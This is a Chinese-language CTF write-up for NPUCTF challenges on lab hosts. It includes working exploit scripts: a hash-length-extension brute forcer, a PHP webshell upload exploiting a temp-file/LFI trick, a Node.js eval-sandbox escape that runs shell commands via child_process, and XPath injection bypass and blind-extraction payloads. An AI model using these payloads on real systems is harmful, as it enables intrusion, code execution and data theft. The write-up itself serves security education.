NPUCTF_WP

记录几道NPUCTF比赛WP

0x01 ezinclude

首先访问可以得到

image-20200426095958737

然后看到cookie有hash

image-20200426101145987

感觉这个hash值就应该是$pass,测试发现它回根据传入的name值变化,然后?name=mount4in,后hash刷新成上面的hash值,然后就可绕过,

image-20200426101420611

看官方WP考点是hash扩展攻击,hash扩展攻击的利用条件就是密钥在前面,已知一对明文密文对。然后可以利用hashpump进行伪造其他明文对应的密文。这里我们不知道密钥的长度,所以去爆破密钥长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import hashpumpy
import urllib

url='http://96a4287d-e8a9-469d-bc19-fe91cd56b249.node3.buuoj.cn/index.php?'

for i in range(40):
a,b=hashpumpy.hashpump('5134d395cb21ac79b18b2d7b8d517630','admin123','1',i)

req=requests.get(url+"name={}&pass={}".format(urllib.parse.quote(b),a))
#print(req.text)
if 'username/password error' not in req.text:
print(i)
print(req.text,url+"name={}&pass={}".format(urllib.parse.quote(b),a))

然后会跳转到flflflflag.php,这里浏览器直接访问会跳到404界面,这里用burp去访问,

image-20200426101637325

有一个文件包含,这里我们可以利用伪协议读下源码,看下index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

config.php

1
2
3
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

dir.php

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

flflflflag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

这里有个dir.php可以查看/tmp目录的文件,那么应该是对临时文件的利用了,之前有大佬分析过在使用php://filter/string.strip_tags/resource=/etc/passwd这个过滤器时,php会发生错误,导致上传的临时文件不会被删除,一直保存在/tmp目录,然后利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time
s = requests.session()
proxy = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
url= 'http://96a4287d-e8a9-469d-bc19-fe91cd56b249.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'

files = {
"demo":("test.jpg","<?php eval($_POST[1]);?>","image/jpeg"),
"submit":(None,"submit")
}
r = s.post(url,proxies=proxy,files=files,allow_redirects=False)
print r.text

传完之后,访问dir.php可以得到临时文件的名,然后包含就可以得到webshell。然后flag在phpinfo()里面

image-20200426102656589

0x02 验证🐎

可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

可以看到关键点在

image-20200426103241744

从输入中获取e、first、second,如果通过

(first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))这个条件而且e存在就调用saferEval()处理。

首先这个条件要求first和second长度相等、first不等于second、first和second拼接一个值后的md5相等。这个之前有个比赛考过,具体链接找不到了,因为js也是一个弱类型的语言,first和second在与keys[0]拼接时会强制转换成字符串,而且String和Array都有length属性。

image-20200426104545707

然后就是对saferEval()的绕过,

image-20200426105112573

可以看到这个过滤会替换正则表达式的内容为空,若替换后为空,则执行eval;若不为空返回null。分析下正则表达式

1
2
3
4
5
6
7
8
/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g
(?:Math(?:\.\w+)?)
:匹配Math后面加字母数字下划线或. 如:Math.constructor后面只能0次或1次
[()+\-*/&|^%<>=,?:]
:匹配()+\-*/&|^%<>=,?: 这些字符
(?:\d+\.?\d*(?:e\d+)?)
:匹配数字 如:122.122
后面应该还有一个空格

这里可以用到=>这个符号,来生成匿名函数,并且在后面加上参数可以立即调用。

image-20200426113154558

这里先贴出payload,然后再分析。

1
(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()))(Math+1)

最后传给eval执行的应该是一个表达式字符串,如alert(1)这种形式。正则表达式只允许在Math后面加字母字符,查看对应的Math的函数没有能够将数字转换成字母的(这里不像php,php里面有很多可以尽心进制转换的函数),但是String.fromCharCode()这个函数可以将ascii码转换成字符,然后就通过原型获得String。

image-20200426120922034

如上图所示我们需要获得Function和String,

image-20200426121147768

Math+1会因为Object与字符串拼接后原型会变成String,然后String的constructor为Function,这样就得到了需要的东西,进行替换就好。

1
2
3
4
5
6
(Math=>(Math=Function(String.fromCharCode(97,108,101,114,116,40,49,41))()))()

(Math+1).constructor ======>>String
(Math+1).constructor.constructor ======>>Function

(Math=>(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()))(Math+1)

然后我们将下面的payload编码

1
2
3
4
5
6
7
8
9
def fun(string):
result = ""
for i in string:
result += str(ord(i))
result += ","
return result[0:-1]

print "String.fromCharCode("+fun("return process.mainModule.require('child_process').execSync('cat /flag')")+")"
#return process.mainModule.require('child_process').execSync('cat /flag')
1
{"first":"1","second":[1],"e":"(Math=>(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)"}

image-20200426122851092

0x03 ezlogin

xpath注入

查询语句为:

1
$query = "/root/accounts/user[username/text()='".$name."' and password/text()='".$pwd."']";

1.万能密码,这点和SQL很像;在知道用户名的情况:

1
?name=admin' or '1'='1&pwd=fake

在不知道用户名的情况,使用两个or绕过:

1
?name=fake' or '1'or'1&pwd=fake

2.使用|操作符,

1
?name=1']|//*|ss['&pwd=fake

其执行的语句为:

1
/root/accounts/user[username/text()='1' ]|//*|ss['' and password/text()='1']

即先闭合前面的语句,之后//*列出文档所有元素

3.盲注,需要一级一级猜解节点;猜解第一级节点:

1
?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake

猜解第二级节点数量:

1
?name=1' or count(/root/*)=2 or '1'='1&fake

猜解第二级节点:

1
?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake

猜解id为1的user节点下的username值:

1
?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import re

url='http://a1de621a-25c0-4bb0-b867-649ffc93c5f0.node3.buuoj.cn/'
sess=requests.session()
def token():
req=sess.get(url)
tok=re.findall('<input type="hidden" id="token" value="(.*)" />',req.text)
return tok[0]

def login(username,password):
data='''
<username>{}</username><password>{}</password><token>{}</token>
'''.format(username,password,token())

req=sess.post(url+'login.php',data=data,headers = {'Content-Type': 'application/xml'})
print(req.text,req.status_code)
return req


# root
payload="' or substring(name(/*[position()=1]),{},1)='{}' or '1' = '1"
ro='root'

payload="' or substring(name(/root/*[position()=1]),{},1)='{}' or '1' = '1"
ro='accounts'

payload="' or substring(name(/root/accounts/*[position()=1]),{},1)='{}' or '1' = '1"
ro='user'

payload="' or substring(name(/root/accounts/user/*[position()=2]),{},1)='{}' or '1' = '1"
# id username password
ro=''


payload="1' or substring(/root/accounts/user[id=2]/username,{},1)='{}' or '1'='1"
# guest adm1n
ro=''

payload="1' or substring(/root/accounts/user[id=2]/password,{},1)='{}' or '1'='1"
#'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or'1'='1也可以
#cf7414b5bdb2e65ee43083f4ddbc4d9f gtfly123
ro=''

import string
for i in range(1,100):
for j in string.digits+string.ascii_letters+'*':
if j=='*':
print('false')
break
tmp=payload.format(i,j)

req=login(tmp,'ad')
if '非法操作' in req.text:
ro+=j
print(ro)
break

然后登录进去伪协议大小写绕过就可以得到flag。

0x04 web🐕

看前一篇文章

参考:

https://github.com/sqxssss/NPUCTF_WriteUps